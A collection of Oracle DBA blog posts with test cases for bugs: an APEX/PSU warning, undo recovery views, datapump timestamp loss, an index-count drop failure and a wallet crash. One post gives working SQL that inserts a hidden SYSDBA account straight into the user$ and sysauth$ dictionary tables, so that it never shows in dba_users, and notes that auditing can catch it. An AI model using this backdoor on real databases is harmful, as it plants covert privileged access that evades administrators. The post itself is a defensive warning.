do not apply PSU 12.1.0.1.4 if you are using APEX and the embedded plsql gateway: you might hit bug 18610915 which is internal and therefore no description is available.
if you hit this you are either not able to even bring up the apex login page (neither http nor https) or it stops working after a few connections (dispatchers are dying).
path “Patch 18610915: INTERMITTENT SEGMENTATION FAULT DURING NZ/PRNG INIT” is only available for 12.1.0.2.
once a session which is doing a transaction gets killed before the session commits or rollbacks oracle needs to recover(undo) the work done by this session. one way to watch the progress of this recovery is to use the v$fast_start_servers and v$fast_start_transactions views.
small test case:
-- FIRST SESSION drop user u1 cascade; create user u1 identified by u1 default tablespace users temporary tablespace temp quota unlimited on users; grant create session, create table to u1; grant select on dba_objects to u1; connect u1/u1 create table t1 as select * from dba_objects; insert into t1 select * from t1; / / / commit;
in a second session get the sid and serial# for the first session:
connect / as sysdba select sid,serial# from v$session where username = 'U1';
back in the first session do some (stupid) work on the table:
begin
while 1=1 loop
update t1 set OBJECT_NAME = OBJECT_NAME;
end loop;
end;
/
this will write undo data without committing the work. now, in the first session, kill the session which is doing the transaction:
alter system kill session '[SID_FROM_ABOVE],[SERIAL#_FROM_ABOVE]';
if your hardware is slow enough or you are fast enough or you keep the loop running for some time before killing the session you can now see the slave(s) doing recovery:
select * from v$fast_start_servers; STATE UNDOBLOCKSDONE PID XID ----------- -------------- ---------- ---------------- RECOVERING 9379 26 020021006D010000
… and the transaction(s) being recovered:
select * from v$fast_start_transactions;
USN SLT SEQ STATE UNDOBLOCKSDONE UNDOBLOCKSTOTAL PID CPUTIME PARENTUSN PARENTSLT PARENTSEQ XID
---------- ---------- ---------- ---------------- -------------- --------------- ---------- ---------- ---------- ---------- ---------- ----------------
PXID RCVSERVERS
---------------- ----------
2 33 365 RECOVERED 19357 19357 11 020021006D010000
1
5 4 357 RECOVERED 17220 17220 13 0500040065010000
consider reading this before jumping on this train:
tested on 11.2.0.4 and 12.1.0.1 on Linux x64:
#!/bin/bash
SQLFILE=/var/tmp/subqueries.sql
echo "select * from ( " > ${SQLFILE}
for x in {1..100000}
do
if [ $x == "100000" ]; then
echo "select * from dual )" >> ${SQLFILE}
else
echo " select * from ( " >> ${SQLFILE}
fi
done
for x in {1..99999}
do
echo ")" >> ${SQLFILE}
done
execute the generated /var/tmp/subqueries.sql script:
@/var/tmp/subqueries.sql 200001 ; select * from ( * ERROR at line 1: ORA-03113: end-of-file on communication channel Process ID: 21287 Session ID: 34 Serial number: 2369
I do not say, that using 100000 subqueries is in any way useful :)
maybe this is not related to the amount of subqueries but rather to the number of lines or the number of characters in the statement. did not test this.
Quick Reference to Patch Numbers for Database PSU, SPU(CPU), Bundle Patches and Patchsets (Doc ID 1454618.1)
today (22-JUl-2014) I spend some minutes to check the amount of patches available in mos for linux x64 by oracle version (only base releases and patchsets as 10.1.0.1.0 or 11.2.0.4.0 ). The following picture shows an example of the search filters used:
here is the result:
search results
10.1.0.3.0 is the oldest available release in the list.
another ouch: test-case
do a datapump export on 11.2.0.4 Linux x64:
search filter example
connect / as sysdba
drop user u15 cascade;
create user u15 identified by u15 default tablespace users temporary tablespace temp quota unlimited on users;
grant create session, create table to u15;
connect u15/u15
create table test ( a number, b timestamp with time zone );
begin
for i in 1..10000
loop
insert into test values ( i
, to_timestamp_tz ('2014-06-06 21:07:46.214879 +2:00','YYYY-MM-DD HH24:MI:SSXFF TZH:TZM' )
);
end loop;
commit;
end;
/
select count(*) from test;
SQL> select min(b),max(b) from test;
MIN(B)
---------------------------------------------------------------------------
MAX(B)
---------------------------------------------------------------------------
06-JUN-14 09.07.46.214879 PM +02:00
06-JUN-14 09.07.46.214879 PM +02:00
connect / as sysdba
create or replace directory dir_tmp as '/var/tmp/';
!expdp userid="'/ as sysdba'" parallel=4 dumpfile=test_%U.dmp logfile=test.log schemas=u15 directory=dir_tmp;
import the dump into a 12.1.0.1 database on linux x64:
connect / as sysdba create or replace directory dir_tmp as '/var/tmp/'; !impdp parallel=2 userid="'/ as sysdba'" schemas=u15 dumpfile=test_%U.dmp logfile=test.log directory=dir_tmp;
… and check the timestamps:
U15@dbs101> select * from test order by 2; A B ---------- --------------------------------------------------------------------------- 636 06-JUN-14 09.07.46.000000 PM +02:00 637 06-JUN-14 09.07.46.000000 PM +02:00 638 06-JUN-14 09.07.46.000000 PM +02:00 639 06-JUN-14 09.07.46.000000 PM +02:00
… outch
UPDATE: One workaround is to use tradtional exp/imp
26-AUG-2014 UPDATE 2: the workaround is no workaround if you use encrypted tablespaces as exp/imp can not handle this
simple test-case for 11.2.0.4 and 12.1.0.1 on linux x64:
connect / as sysdba
drop user u21 cascade;
create user u21 identified by u21 default tablespace users temporary tablespace temp;
grant create session, create table to u21;
connect u21/u21
declare
lv_statement varchar2(32000) := 'create table t1 ( ';
ln_max_indexes pls_integer := 1000;
ln_max_columns pls_integer := 1000;
ln_max_ind_columns pls_integer := 32;
begin
for i in 1..ln_max_columns
loop
if i < ln_max_columns
then
lv_statement := lv_statement || ' c'||i||' number,';
else
lv_statement := lv_statement || ' c'||i||' number';
end if;
end loop;
lv_statement := lv_statement || ')';
execute immediate lv_statement;
for i in 1..ln_max_indexes
loop
execute immediate 'create index ii'||i||' on t1 ( c'||i||')';
end loop;
execute immediate 'create index i1001 on t1 (c1,c2)';
end;
/
select count(*) from user_indexes;
connect / as sysdba
drop user u21 cascade;
drop user u21 cascade
*
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-01418: specified index does not exist
ouch …
does not happen with 1000 indexes:
connect / as sysdba
drop user u22 cascade;
create user u22 identified by u22 default tablespace users temporary tablespace temp;
grant create session, create table to u22;
connect u22/u22
declare
lv_statement varchar2(32000) := 'create table t1 ( ';
ln_max_indexes pls_integer := 1000;
ln_max_columns pls_integer := 1000;
ln_max_ind_columns pls_integer := 32;
begin
for i in 1..ln_max_columns
loop
if i < ln_max_columns
then
lv_statement := lv_statement || ' c'||i||' number,';
else
lv_statement := lv_statement || ' c'||i||' number';
end if;
end loop;
lv_statement := lv_statement || ')';
execute immediate lv_statement;
for i in 1..ln_max_indexes
loop
execute immediate 'create index ii'||i||' on t1 ( c'||i||')';
end loop;
end;
/
select count(*) from user_indexes;
connect / as sysdba
drop user u22 cascade;
happens again with 1002:
connect / as sysdba
drop user u22 cascade;
create user u22 identified by u22 default tablespace users temporary tablespace temp;
grant create session, create table to u22;
connect u22/u22
declare
lv_statement varchar2(32000) := 'create table t1 ( ';
ln_max_indexes pls_integer := 1000;
ln_max_columns pls_integer := 1000;
ln_max_ind_columns pls_integer := 32;
begin
for i in 1..ln_max_columns
loop
if i < ln_max_columns
then
lv_statement := lv_statement || ' c'||i||' number,';
else
lv_statement := lv_statement || ' c'||i||' number';
end if;
end loop;
lv_statement := lv_statement || ')';
execute immediate lv_statement;
for i in 1..ln_max_indexes
loop
execute immediate 'create index ii'||i||' on t1 ( c'||i||')';
end loop;
execute immediate 'create index i1001 on t1 (c1,c2)';
execute immediate 'create index i1002 on t1 (c1,c2,c3)';
end;
/
select count(*) from user_indexes;
connect / as sysdba
drop user u22 cascade;
drop user u22 cascade
*
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-01418: specified index does not exist
seems to be limit at 1000, somehow.
even more weird:
SYS@dbs101> select count(*) from dba_indexes where owner = 'U22';
COUNT(*)
----------
0
SYS@dbs101> select count(*) from dba_objects where owner='U22';
COUNT(*)
----------
996
this one is a little bit hypothetical but might happen. do you know the situation when a standard software requires sysdba priviliges for installation? be very careful ginving out the sys password. once someone other than a trusted dba knows the password a sysdba can be created which you probably will never find (except you have processes in place to scan the audit logs).
oracle stores users and roles in the user$ table. a user has a type# of 1 while a role has type# of 0. one can easily check this:
SYS@dbs100> select NAME,TYPE# from user$; NAME TYPE# ------------------------------ ---------- SYS 1 PUBLIC 0 CONNECT 0 RESOURCE 0 DBA 0 SYSTEM 1 .....
what will happen if we directly insert into that table with a type# of -1?
insert into user$ (USER#,NAME,TYPE#,password,DATATS#,tempts#,ctime,resource$,defrole,astatus,lcount,spare1,spare4,DEFSCHCLASS,EXPTIME,LTIME,PTIME)
values (99,'GOD',1,'D9E8A39A359A48C2',4,3,sysdate-5,0,1,0,0,0,'S:E0BBBCAB53EDC7BD147FBD6EBF79E011DBDB31947A3B08B04FCB7E678DF8','DEFAULT_CONSUMER_GROUP',to_date(null),to_date(null),to_date(null));
1 row created.
commit;
Commit complete.
seems to work. this user will never be visible in dba_users or dba_roles:
SYS@dbs100> select * from dba_users where username = 'GOD'; no rows selected SYS@dbs100> select * from dba_roles where role = 'GOD'; no rows selected
perfectly hidden. change the password:
alter user god identified by a; User altered.
… and assign all sysdba privileges:
insert into sysauth$ (grantee#,privilege#,option$,sequence#)
select 99,privilege#,option$,system_grant.nextval
from sysauth$ where grantee# = 0;
226 rows created.
update user$ set type#=-1 where user#=99;
1 row updated.
commit;
Commit complete.
test it:
SYS@dbs100> connect god/a as sysdba Connected.
… and you are in.
the good news: if you have auditing enabled you may catch this:
grep -i god * dbs100_ora_12133_20140515225804864916143795.aud: values (99,'GOD',1,'D9E8A39A359A48C2',4,3,sysdate-5,0,1,0,0,0,'S:E0BBBCAB53EDC7BD147FBD6EBF79E011DBDB31947A3B08B04FCB7E678DF8','DEFAULT_CONSUMER_GROUP',to_date(null),to_date(null),to_date(null))' dbs100_ora_12133_20140515225804864916143795.aud:ACTION :[30] 'alter user god identified by *' dbs100_ora_12133_20140515225804864916143795.aud:ACTION :[30] 'alter user god identified by *' dbs100_ora_12147_20140515225916485631143795.aud:ACTION :[46] 'select * from dba_users where username = 'GOD'' dbs100_ora_12147_20140515225916485631143795.aud:ACTION :[42] 'select * from dba_roles where role = 'GOD''
tested on 11.2.0.3 and 11.2.0.4 on Linux x64.
this is a follow up on This page isn’t redirecting properly.
a very simple test-case to reproduce this on 11.2.0.4 on linux x86_64:
in short, this generates a self-signed certificate and loads it to the oracle wallet ( thanks to tyler muth for providing the steps ).
wget http://www.openssl.org/contrib/ssl.ca-0.1.tar.gz tar -axf ssl.ca-0.1.tar.gz orapki wallet create -wallet . -pwd Welcome1 -auto_login orapki wallet add -wallet . -dn 'cn=blubb, ou=blubb, ou=blubb, dc=blubb, dc=blubb' -keysize 2048 -pwd Welcome1 orapki wallet export -wallet . -dn 'cn=blubb, ou=blubb, ou=blubb, dc=blubb, dc=blubb' -request certreq.crs -pwd Welcome1 cp certreq.csr ssl.ca-0.1/ cd ssl.ca-0.1/ ./new-root-ca.sh ./sign-server-cert.sh certreq cd .. orapki wallet add -wallet . -trusted_cert -cert ssl.ca-0.1/ca.crt -pwd Welcome1 orapki wallet add -wallet . -user_cert -cert ssl.ca-0.1/certreq.crt -pwd Welcome1 orapki wallet display -wallet .
once the wallet is ready adjust the sqlnet.ora for the database to include the following:
WALLET_LOCATION=
(SOURCE=(METHOD=FILE)(METHOD_DATA=
(DIRECTORY=[PATH_TO_YOUR_WALLET])))
SSL_CLIENT_AUTHENTICATION=FALSE
… and bounce the instance. bumm:
select * from v$wallet; * ERROR at line 1: ORA-03113: end-of-file on communication channel Process ID: 11336 Session ID: 36 Serial number: 57
this does not reproduce with 12.1.0.1
assigned to oracle development…
Update 2014-JUN-05: Bug 14327886 : ORA-7445 [__INTEL_NEW_MEMCPY()+52] AND ORA-03113 WITH SELECT ON V$WALLET
Daniel Westermann's Blog 